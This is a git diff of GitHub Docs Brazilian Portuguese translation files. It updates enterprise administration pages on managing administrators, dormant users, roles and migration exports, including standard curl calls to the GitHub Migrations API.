-  ![Modal box with field to type a person's username, full name, or email address, and Invite button](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %}
-1. Select **Owner** or **Billing Manager**.
-  ![Modal box with role choices](/assets/images/help/business-accounts/invite-admins-roles.png)
-1. Click **Send Invitation**.
-  ![Send invitation button](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %}
-1. Click **Add**.
-  !["Add" button](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %}
+1. Digite o nome de usuário, nome completo ou endereço de e-mail da pessoa que você quer convidar para ser um administrador corporativo e depois selecione a pessoa adequada a partir dos resultados. ![Modal box with field to type a person's username, full name, or email address, and Invite button](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %}
+1. Selecione **Owner** (Proprietário) ou **Billing Manager** (Gerente de cobrança). ![Caixa de diálogo modal com opções de funções](/assets/images/help/business-accounts/invite-admins-roles.png)
+1. Clique em **Send Invitation** (Enviar convite). ![Send invitation button](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %}
+1. Clique em **Salvar**. !["Add" button](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %}
 
-## Removing an enterprise administrator from your enterprise account
+## Remover um administrador de sua conta corporativa
 
-Only enterprise owners can remove other enterprise administrators from the enterprise account.
+Somente proprietários corporativos podem remover outros administradores corporativos da conta corporativa.
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.people-tab %}
-1. Next to the username of the person you'd like to remove, click {% octicon "gear" aria-label="The Settings gear" %}, then click **Remove owner**{% ifversion ghec %} or **Remove billing manager**{% endif %}.
+1. Ao lado do nome de usuário da pessoa que você deseja remover, clique em {% octicon "gear" aria-label="The Settings gear" %} e, em seguida, clique em **Remover proprietário**{% ifversion ghec %} ou **Remover gerente de cobrança**{% endif %}.
   {% ifversion ghec %}
-  ![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/remove-admin.png)
+  ![Ajuste de configurações com menu option (opções) para remover um administrador corporativo](/assets/images/help/business-accounts/remove-admin.png)
   {% elsif ghes %}
-  ![Settings gear with menu option to remove an enterprise administrator](/assets/images/help/business-accounts/ghes-remove-owner.png)
+  ![Ajuste de configurações com menu option (opções) para remover um administrador corporativo](/assets/images/help/business-accounts/ghes-remove-owner.png)
   {% endif %}
-1. Read the confirmation, then click **Remove owner**{% ifversion ghec %} or **Remove billing manager**{% endif %}.
+1. Leia a confirmação, clique **Remover proprietário**{% ifversion ghec %} ou **Remover gerente de cobrança**{% endif %}.
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
index ce92ba1dc4..a8d6108d91 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
@@ -1,5 +1,5 @@
 ---
-title: Managing dormant users
+title: Gerenciar usuários inativos
 redirect_from:
   - /enterprise/admin/articles/dormant-users
   - /enterprise/admin/articles/viewing-dormant-users
@@ -17,29 +17,26 @@ topics:
   - Enterprise
   - Licensing
 ---
+
 {% data reusables.enterprise-accounts.dormant-user-activity %}
 
 {% ifversion ghes or ghae%}
-## Viewing dormant users
+## Exibir usuários inativos
 
 {% data reusables.enterprise-accounts.viewing-dormant-users %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-3. In the left sidebar, click **Dormant users**.
-![Dormant users tab](/assets/images/enterprise/site-admin-settings/dormant-users-tab.png){% ifversion ghes %}
-4. To suspend all the dormant users in this list, at the top of the page, click **Suspend all**.
-![Suspend all button](/assets/images/enterprise/site-admin-settings/suspend-all.png){% endif %}
+3. Na barra lateral esquerda, clique em **Dormant users** (Usuários inativos). ![Dormant users tab](/assets/images/enterprise/site-admin-settings/dormant-users-tab.png){% ifversion ghes %}
+4. Para suspender todos os usuários inativos nesta lista, na parte superior da página, clique em **Suspend all** (Suspender todos). ![Suspend all button](/assets/images/enterprise/site-admin-settings/suspend-all.png){% endif %}
 
-## Determining whether a user account is dormant
+## Determinar se uma conta de usuário está inativa
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.search-user %}
 {% data reusables.enterprise_site_admin_settings.click-user %}
-5. In the **User info** section, a red dot with the word "Dormant" indicates the user account is dormant, and a green dot with the word "Active" indicates the user account is active.
-![Dormant user account](/assets/images/enterprise/stafftools/dormant-user.png)
-![Active user account](/assets/images/enterprise/stafftools/active-user.png)
+5. Na seção **User info** (Informações de usuário), um ponto vermelho com a palavra "Inativo" indica que a conta do usuário está inativa, e um ponto verde com a palavra "Ativo" indica que a conta do usuário está ativa. ![Conta de usuário inativa](/assets/images/enterprise/stafftools/dormant-user.png) ![Conta de usuário ativa](/assets/images/enterprise/stafftools/active-user.png)
 
-## Configuring the dormancy threshold
+## Configurar o limite de inatividade
 
 {% data reusables.enterprise_site_admin_settings.dormancy-threshold %}
 
@@ -47,8 +44,7 @@ topics:
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Dormancy threshold", use the drop-down menu, and click the desired dormancy threshold.
-![The Dormancy threshold drop-down menu](/assets/images/enterprise/site-admin-settings/dormancy-threshold-menu.png)
+4. Em "Dormancy threshold" (Limite de inatividade), use o menu suspenso e clique no limite de inatividade desejado.![Menu suspenso do limite de inatividade](/assets/images/enterprise/site-admin-settings/dormancy-threshold-menu.png)
 
 {% endif %}
 
@@ -58,15 +54,14 @@ topics:
 
 {% warning %}
 
-**Note:** During the private beta, ongoing improvements to the report download feature may limit its availability.
+**Observação:** Durante o beta privado, as melhorias constantes no recurso de download de relatório podem limitar a sua disponibilidade.
 
 {% endwarning %}
 
-## Downloading the dormant users report from your enterprise account
+## Fazendo o download do relatório de usuários inativos da conta corporativa
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %}
-1. To download your Dormant Users (beta) report as a CSV file, under "Other", click {% octicon "download" aria-label="The Download icon" %} **Download**.
-  ![Download button under "Other" on the Compliance page](/assets/images/help/business-accounts/dormant-users-download-button.png)
+1. Para fazer o download do seu relatório de usuários inativos (beta) como um arquivo CSV, em "Outro", clique em {% octicon "download" aria-label="The Download icon" %} **Download**. ![Botão Baixar em "Outro" na página de conformidade](/assets/images/help/business-accounts/dormant-users-download-button.png)
 
 {% endif %}
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
index a1d318121a..a839e76695 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Gerenciando direitos de suporte para sua empresa
 intro: Você pode conceder aos integrantes da empresa a capacidade de gerenciar tíquetes de suporte para a conta corporativa.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise
 versions:
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
index fc57c1bf12..e64bbae445 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
@@ -1,6 +1,6 @@
 ---
-title: Rebuilding contributions data
-intro: You may need to rebuild contributions data to link existing commits to a user account.
+title: Recriar dados de contribuições
+intro: Talvez você precise recriar os dados das contribuições para vincular os commits existentes a uma conta de usuário.
 redirect_from:
   - /enterprise/admin/articles/rebuilding-contributions-data
   - /enterprise/admin/user-management/rebuilding-contributions-data
@@ -12,16 +12,15 @@ topics:
   - Enterprise
   - Repositories
   - User account
-shortTitle: Rebuild contributions
+shortTitle: Recriar contribuições
 ---
-Whenever a commit is pushed to {% data variables.product.prodname_enterprise %}, it is linked to a user account if they are both associated with the same email address. However, existing commits are *not* retroactively linked when a user registers a new email address or creates a new account.
 
-1. Visit the user's profile page.
+Sempre que é enviado para o {% data variables.product.prodname_enterprise %}, o commit é vinculado a uma conta de usuário caso ambos estejam associados ao mesmo endereço de e-mail. No entanto, os commits *não* são vinculados retroativamente quando um usuário registra um endereço de e-mail ou cria uma conta.
+
+1. Acesse a página de perfil do usuário.
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-3. On the left side of the page, click **Admin**.
-  ![Admin tab](/assets/images/enterprise/site-admin-settings/admin-tab.png)
-4. Under **Contributions data**, click **Rebuild**.
-![Rebuild button](/assets/images/enterprise/site-admin-settings/rebuild-button.png)
+3. À esquerda na página, clique em **Admin** (Administrador). ![Guia Admin (Administrador)](/assets/images/enterprise/site-admin-settings/admin-tab.png)
+4. Em **Contributions data** (Dados de contribuição), clique em **Rebuild** (Recompilar). ![Botão Rebuild (Recompilar)](/assets/images/enterprise/site-admin-settings/rebuild-button.png)
 
 {% data variables.product.prodname_enterprise %} will now start background jobs to re-link commits with that user's account.
-  ![Queued rebuild jobs](/assets/images/enterprise/site-admin-settings/rebuild-jobs.png)
+  ![Trabalhos recompilados em fila](/assets/images/enterprise/site-admin-settings/rebuild-jobs.png)
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
index 9fb394b311..dd498a2724 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
@@ -1,7 +1,6 @@
 ---
-title: Roles in an enterprise
-intro: 'Everyone in an enterprise is a member of the enterprise. To control access to your enterprise''s settings and data, you can assign different roles to members of your enterprise.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Funções em uma empresa
+intro: 'Todas as pessoas em uma empresa são integrantes da empresa. Para controlar o acesso às configurações e dados da sua empresa, você pode atribuir diferentes funções aos integrantes da sua empresa.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise
   - /github/setting-up-and-managing-your-enterprise-account/roles-for-an-enterprise-account
@@ -16,61 +15,61 @@ topics:
   - Enterprise
 ---
 
-## About roles in an enterprise
+## Sobre funções em uma empresa
 
-Everyone in an enterprise is a member of the enterprise. You can also assign administrative roles to members of your enterprise. Each administrator role maps to business functions and provides permissions to do specific tasks within the enterprise.
+Todas as pessoas em uma empresa são integrantes da empresa. Você também pode atribuir funções administrativas aos integrantes da sua empresa. Cada função de administrador está associada a uma função empresarial e fornece permissão para a execução de tarefas específicas na empresa.
 
 {% data reusables.enterprise-accounts.enterprise-administrators %}
 
 {% ifversion ghec %}
-If your enterprise does not use {% data variables.product.prodname_emus %}, you can invite someone to an administrative role using a user account on {% data variables.product.product_name %} that they control. For more information, see "[Inviting people to manage your enterprise](/github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise)".
+Se sua empresa não usar {% data variables.product.prodname_emus %}, você poderá convidar alguém para uma função administrativa usando uma conta de usuário em {% data variables.product.product_name %} que ele controle. Para obter mais informações, consulte[Convidando pessoas para gerenciar a sua empresa](/github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise)".
 
-In an enterprise using {% data variables.product.prodname_emus %}, new owners and members must be provisioned through your identity provider. Enterprise owners and organization owners cannot add new members or owners to the enterprise using {% data variables.product.prodname_dotcom %}. You can select a member's enterprise role using your IdP and it cannot be changed on {% data variables.product.prodname_dotcom %}. You can select a member's role in an organization on {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+Em uma empresa que usa {% data variables.product.prodname_emus %}, novos proprietários e integrantes devem ser fornecidos por meio de seu provedor de identidade. Os proprietários corporativos e proprietários da organização não podem adicionar novos integrantes ou proprietários à empresa usando {% data variables.product.prodname_dotcom %}. É possível selecionar a função corporativa do integrante usando seu IdP e este não pode ser alterado em {% data variables.product.prodname_dotcom %}. Você pode selecionar a função de um integrante em uma organização em {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
 {% else %}
-For more information about adding people to your enterprise, see "[Authentication](/admin/authentication)".
+Para obter mais informações sobre como adicionar pessoas à sua empresa, consulte "[Autenticação](/admin/authentication)".
 
 {% endif %}
 
-## Enterprise owner
+## Proprietário corporativo
 
-Enterprise owners have complete control over the enterprise and can take every action, including:
-- Managing administrators
-- {% ifversion ghec %}Adding and removing {% elsif ghae or ghes %}Managing{% endif %} organizations {% ifversion ghec %}to and from {% elsif ghae or ghes %} in{% endif %} the enterprise
-- Managing enterprise settings
-- Enforcing policy across organizations
+Os proprietários corporativos têm controle total da empresa e podem executar todas as ações, incluindo:
+- Gerenciar os administradores
+- {% ifversion ghec %}Adicionar e remover {% elsif ghae or ghes %}Managing{% endif %} organizações{% ifversion ghec %}para e de {% elsif ghae or ghes %} na{% endif %} empresa
+- Gerenciar as configurações da empresa
+- Aplicar a política nas organizações
 {% ifversion ghec %}- Managing billing settings{% endif %}
 
-Enterprise owners cannot access organization settings or content unless they are made an organization owner or given direct access to an organization-owned repository. Similarly, owners of organizations in your enterprise do not have access to the enterprise itself unless you make them enterprise owners.
+Os proprietários corporativos não podem acessar as configurações ou o conteúdo da organização, a menos que sejam incluídos como proprietário da organização ou recebam acesso direto a um repositório de propriedade da organização. Da mesma forma, os proprietários de organizações na sua empresa não têm acesso à empresa propriamente dita, a não ser que você os torne proprietários da empresa.
 
-An enterprise owner will only consume a license if they are an owner or member of at least one organization within the enterprise. Even if an enterprise owner has a role in multiple organizations, they will consume a single license. {% ifversion ghec %}Enterprise owners must have a personal account on {% data variables.product.prodname_dotcom %}.{% endif %} As a best practice, we recommend making only a few people in your company enterprise owners, to reduce the risk to your business.
+Um proprietário da empresa só consumirá uma licença se for um proprietário ou integrante de pelo menos uma organização dentro da empresa. Mesmo que o proprietário de uma empresa tenha uma função em várias organizações, ele consumirá uma única licença. {% ifversion ghec %}Os proprietários de empresas devem ter uma conta pessoal em {% data variables.product.prodname_dotcom %}.{% endif %} Como prática recomendada, sugerimos que você converta apenas algumas pessoas da sua empresa em proprietários para reduzir o risco para a sua empresa.
 
-## Enterprise members
+## Integrantes da empresa
 
-Members of organizations owned by your enterprise are also automatically members of the enterprise. Members can collaborate in organizations and may be organization owners, but members cannot access or configure enterprise settings{% ifversion ghec %}, including billing settings{% endif %}.
+Os integrantes das organizações pertencentes à sua empresa também são automaticamente integrantes da empresa. Os integrantes podem colaborar em organizações e podem ser proprietários de organizações, mas os integrantes não podem acessar ou definir as configurações corporativas{% ifversion ghec %}, incluindo as configurações de cobrança{% endif %}.
 
-People in your enterprise may have different levels of access to the various organizations owned by your enterprise and to repositories within those organizations. You can view the resources that each person has access to. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)."
+As pessoas na sua empresa podem ter diferentes níveis de acesso às várias organizações pertencentes à sua empresa e aos repositórios dessas organizações. Você pode ver os recursos aos quais cada pessoa tem acesso. Para obter mais informações, consulte "[Visualizar pessoas na sua empresa](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)".
 
-For more information about organization-level permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+Para obter mais informações sobre permissões no nível da organização, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
 
-People with outside collaborator access to repositories owned by your organization are also listed in your enterprise's People tab, but are not enterprise members and do not have any access to the enterprise. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+Pessoas com acesso de colaborador externo aos repositórios pertencentes à sua organização também estão listadas na aba Pessoas da sua empresa, mas não são integrantes da empresa e não têm qualquer acesso à mesma. Para obter mais informações sobre colaboradores externos, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)".
 
 {% ifversion ghec %}
 
-## Billing manager
+## Gerente de cobrança
 
-Billing managers only have access to your enterprise's billing settings. Billing managers for your enterprise can:
-- View and manage user licenses, {% data variables.large_files.product_name_short %} packs and other billing settings
-- View a list of billing managers
-- Add or remove other billing managers
+Os gerentes de cobrança só têm acesso às configurações de cobrança da sua empresa. Gerentes de cobrança para a sua empresa podem:
+- Visualizar e gerenciar licenças de usuário, pacotes do {% data variables.large_files.product_name_short %} e outras configurações de cobrança
+- Exibir uma lista dos gerentes de cobrança
+- Adicionar ou remover outros gerentes de cobrança
 
-Billing managers will only consume a license if they are an owner or member of at least one organization within the enterprise. Billing managers do not have access to organizations or repositories in your enterprise, and cannot add or remove enterprise owners. Billing managers must have a personal account on {% data variables.product.prodname_dotcom %}.
+Os gerentes de cobrança só consumirão uma licença se forem um proprietário ou integrante de pelo menos uma organização dentro da empresa. Os gerentes de cobrança não têm acesso a organizações ou repositórios na sua empresa e não podem adicionar ou remover os proprietários da empresa. Os gerentes de cobrança devem ter uma conta pessoal no {% data variables.product.prodname_dotcom %}.
 
-## About support entitlements
+## Sobre titularidades de suporte
 
 {% data reusables.enterprise-accounts.support-entitlements %}
 
-## Further reading
+## Leia mais
 
-- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"
+- "[Sobre contas corporativas](/admin/overview/about-enterprise-accounts)"
 
 {% endif %}
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
index b643295b94..9c3806b6f9 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Visualizar e gerenciar o acesso SAML de um usuário à sua empresa
 intro: 'Você pode visualizar e revogar a identidade vinculada de um integrante da empresa, as sessões ativas e as credenciais autorizadas.'
 permissions: Enterprise owners can view and manage a member's SAML access to an organization.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
diff --git a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
index ee21a9d89d..4d8a16f4df 100644
--- a/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Visualizar pessoas na sua empresa
 intro: 'Para auditar o acesso à utilização de licença de usuário ou de recursos pertencentes à empresa, os proprietários corporativos podem exibir todos os administradores e integrantes da empresa.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise-account/viewing-people-in-your-enterprise-account
   - /articles/viewing-people-in-your-enterprise-account
diff --git a/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md b/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md
index 949e6b9163..ab52f497c4 100644
--- a/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md
+++ b/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom.md
@@ -1,6 +1,6 @@
 ---
-title: Exporting migration data from GitHub.com
-intro: 'You can export migration data from an organization on {% data variables.product.prodname_dotcom_the_website %} by using the API to select repositories to migrate, then generating a migration archive that you can import into a {% data variables.product.prodname_ghe_server %} instance.'
+title: Exportar dados de migração do GitHub.com
+intro: 'Você pode exportar dados de migração de uma organização no {% data variables.product.prodname_dotcom_the_website %} usando a API para selecionar repositórios a serem migrados e, em seguida, gerando um arquivo de migração que pode ser importado em uma instância do {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-com
   - /enterprise/admin/migrations/exporting-migration-data-from-githubcom
@@ -17,32 +17,33 @@ topics:
   - API
   - Enterprise
   - Migration
-shortTitle: Export data from GitHub.com
+shortTitle: Exportar dados do GitHub.com
 ---
-## Preparing the source organization on {% data variables.product.prodname_dotcom %}
 
-1. Ensure that you have [owner permissions](/articles/permission-levels-for-an-organization/) on the source organization's repositories.
+## Preparar a organização de origem em {% data variables.product.prodname_dotcom %}
 
-2. {% data reusables.enterprise_migrations.token-generation %} on {% data variables.product.prodname_dotcom_the_website %}.
+1. Verifique se você tem [permissões de proprietário](/articles/permission-levels-for-an-organization/) nos repositórios de origem da organização.
+
+2. {% data reusables.enterprise_migrations.token-generation %} no {% data variables.product.prodname_dotcom_the_website %}.
 
 {% data reusables.enterprise_migrations.make-a-list %}
 
-## Exporting the organization's repositories
+## Exportar repositórios da organização
 
 {% data reusables.enterprise_migrations.fork-persistence %}
 
-To export repository data from {% data variables.product.prodname_dotcom_the_website %}, use <a href="/rest/reference/migrations" class="dotcom-only">the Migrations API</a>.
+Para exportar os dados do repositório do {% data variables.product.prodname_dotcom_the_website %}, use a <a href="/rest/reference/migrations" class="dotcom-only"> API de Migrações</a>.
 
-The Migrations API is currently in a preview period, which means that the endpoints and parameters may change in the future. 
-## Generating a migration archive
+No momento, a API de Migrações está em período de exibição. Ou seja, os pontos de extremidade e os parâmetros podem mudar no futuro.
+## Gerar arquivos de migração
 
 {% data reusables.enterprise_migrations.locking-repositories %}
 
-1. Notify members of your organization that you'll be performing a migration. The export can take several minutes, depending on the number of repositories being exported. The full migration including import may take several hours so we recommend doing a trial run in order to determine how long the full process will take. For more information, see "[About Migrations](/enterprise/admin/migrations/about-migrations#types-of-migrations)."
+1. Informe os integrantes da organização que você fará uma migração. Dependendo do número de repositórios exportados, a exportação pode levar vários minutos. A migração completa (com importação) pode levar horas. Portanto, é recomendável fazer uma avaliação para determinar a duração do processo completo. Para obter mais informações, consulte "[Sobre migrações](/enterprise/admin/migrations/about-migrations#types-of-migrations)".
 
-2. Start a migration by sending a `POST` request to <a href="/rest/reference/migrations#start-an-organization-migration" class="dotcom-only">the migration endpoint</a>. You'll need:
-    * Your access token for authentication.
-    * A [list of the repositories](/rest/reference/repos#list-organization-repositories) you want to migrate:
+2. Comece a migração enviando uma solicitação de `POST` no <a href="/rest/reference/migrations#start-an-organization-migration" class="dotcom-only">ponto de extremidade da migração</a>. Você precisará do seguinte:
+    * Token de acesso para autenticação;
+    * Uma [lista de repositórios](/rest/reference/repos#list-organization-repositories) que você pretende migrar:
       ```shell
       curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" \
       -X POST \
@@ -50,29 +51,29 @@ The Migrations API is currently in a preview period, which means that the endpoi
       -d'{"lock_repositories":true,"repositories":["<em>orgname</em>/<em>reponame</em>", "<em>orgname</em>/<em>reponame</em>"]}' \
       https://api.github.com/orgs/<em>orgname</em>/migrations
       ```
-    *  If you want to lock the repositories before migrating them, make sure `lock_repositories` is set to `true`. This is highly recommended.
-    * You can exclude file attachments by passing `exclude_attachments: true` to the endpoint. {% data reusables.enterprise_migrations.exclude-file-attachments %} The final archive size must be less than 20 GB.
+    *  Se quiser bloquear os repositórios antes da migração, verifique se `lock_repositories` está definido como `true`. Fazer isso é altamente recomendável.
+    * Você pode excluir anexos de arquivos adicionando `exclude_attachments: true` ao ponto de extremidade. {% data reusables.enterprise_migrations.exclude-file-attachments %} O tamanho do arquivo final deve ser menor do que 20 GB.
 
-  This request returns a unique `id` which represents your migration. You'll need it for subsequent calls to the Migrations API.
+  A solicitação retorna um `id ` exclusivo que representa a migração. Você precisará dele em ações subsequentes que envolvam a API de Migrações.
 
-3. Send a `GET` request to <a href="/rest/reference/migrations#get-an-organization-migration-status" class="dotcom-only">the migration status endpoint</a> to fetch the status of a migration. You'll need:
-    * Your access token for authentication.
-    * The unique `id` of the migration:
+3. Envie uma solicitação `GET` para o <a href="/rest/reference/migrations#get-an-organization-migration-status" class="dotcom-only">ponto de extremidade de status da migração</a> para fazer fetch do status da migração. Você precisará do seguinte:
+    * Token de acesso para autenticação;
+    * `id` exclusivo da migração.
       ```shell
       curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" \
       -H "Accept: application/vnd.github.v3+json" \
       https://api.github.com/orgs/<em>orgname</em>/migrations/<em>id</em>
       ```
 
-  A migration can be in one of the following states:
-    * `pending`, which means the migration hasn't started yet.
-    * `exporting`, which means the migration is in progress.
-    * `exported`, which means the migration finished successfully.
-    * `failed`, which means the migration failed.
+  Os estados das migrações são os seguintes:
+    * `pending`, a migração ainda não começou;
+    * `exporting`, a migração está em andamento;
+    * `exported`, a migração foi concluída com êxito;
+    * `failed`, houve falha na migração.
 
-4. After your migration has exported, download the migration archive by sending a `GET` request to <a href="/rest/reference/migrations#download-an-organization-migration-archive" class="dotcom-only">the migration download endpoint</a>. You'll need:
-    * Your access token for authentication.
-    * The unique `id` of the migration:
+4. Depois de exportar a migração, baixe o aquivo de migração enviando uma solicitação `GET` para o <a href="/rest/reference/migrations#download-an-organization-migration-archive" class="dotcom-only">ponto de extremidade de download da migração</a>. Você precisará do seguinte:
+    * Token de acesso para autenticação;
+    * `id` exclusivo da migração.
       ```shell
       curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" \
       -H "Accept: application/vnd.github.v3+json" \
@@ -80,9 +81,9 @@ The Migrations API is currently in a preview period, which means that the endpoi
       https://api.github.com/orgs/<em>orgname</em>/migrations/<em>id</em>/archive
       ```
 
-5. The migration archive is automatically deleted after seven days. If you would prefer to delete it sooner, you can send a `DELETE` request to <a href="/rest/reference/migrations#delete-an-organization-migration-archive" class="dotcom-only">the migration archive delete endpoint</a>. You'll need:
-    * Your access token for authentication.
-    * The unique `id` of the migration:
+5. O arquivo de migração é excluído automaticamente após sete dias. Para excluí-lo antes, você pode enviar a solicitação `DELETE` para o <a href="/rest/reference/migrations#delete-an-organization-migration-archive" class="dotcom-only">ponto de extremidade de exclusão do arquivo de migração</a>. Você precisará do seguinte:
+    * Token de acesso para autenticação;
+    * `id` exclusivo da migração.
       ```shell
       curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" \
       -X DELETE \
diff --git a/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md b/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md
index f3d8b48da6..b9ee2bf230 100644
--- a/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md
+++ b/translations/pt-BR/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Exporting migration data from your enterprise
-intro: 'To change platforms or move from a trial instance to a production instance, you can export migration data from a {% data variables.product.prodname_ghe_server %} instance by preparing the instance, locking the repositories, and generating a migration archive.'
+title: Exportar dados de migração da sua empresa
+intro: 'Para alterar as plataformas ou mover de uma instância de teste para uma instância de produção você pode exportar os dados de migração de uma instância do {% data variables.product.prodname_ghe_server %} preparando a instância, bloqueando os repositórios e gerando um arquivo de migração.'
 redirect_from:
   - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-enterprise
   - /enterprise/admin/migrations/exporting-migration-data-from-github-enterprise-server
@@ -17,41 +17,42 @@ topics:
   - API
   - Enterprise
   - Migration
-shortTitle: Export from your enterprise
+shortTitle: Exportar da sua empresa
 ---
-## Preparing the {% data variables.product.prodname_ghe_server %} source instance
 
-1. Verify that you are a site administrator on the {% data variables.product.prodname_ghe_server %} source. The best way to do this is to verify that you can [SSH into the instance](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/).
+## Preparar a instância de origem de {% data variables.product.prodname_ghe_server %}
 
-2. {% data reusables.enterprise_migrations.token-generation %} on the {% data variables.product.prodname_ghe_server %} source instance.
+1. Verifique se você é administrador do site na origem do {% data variables.product.prodname_ghe_server %}. A melhor maneira de fazer isso é verificar se você consegue fazer [SSH na instância](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/).
+
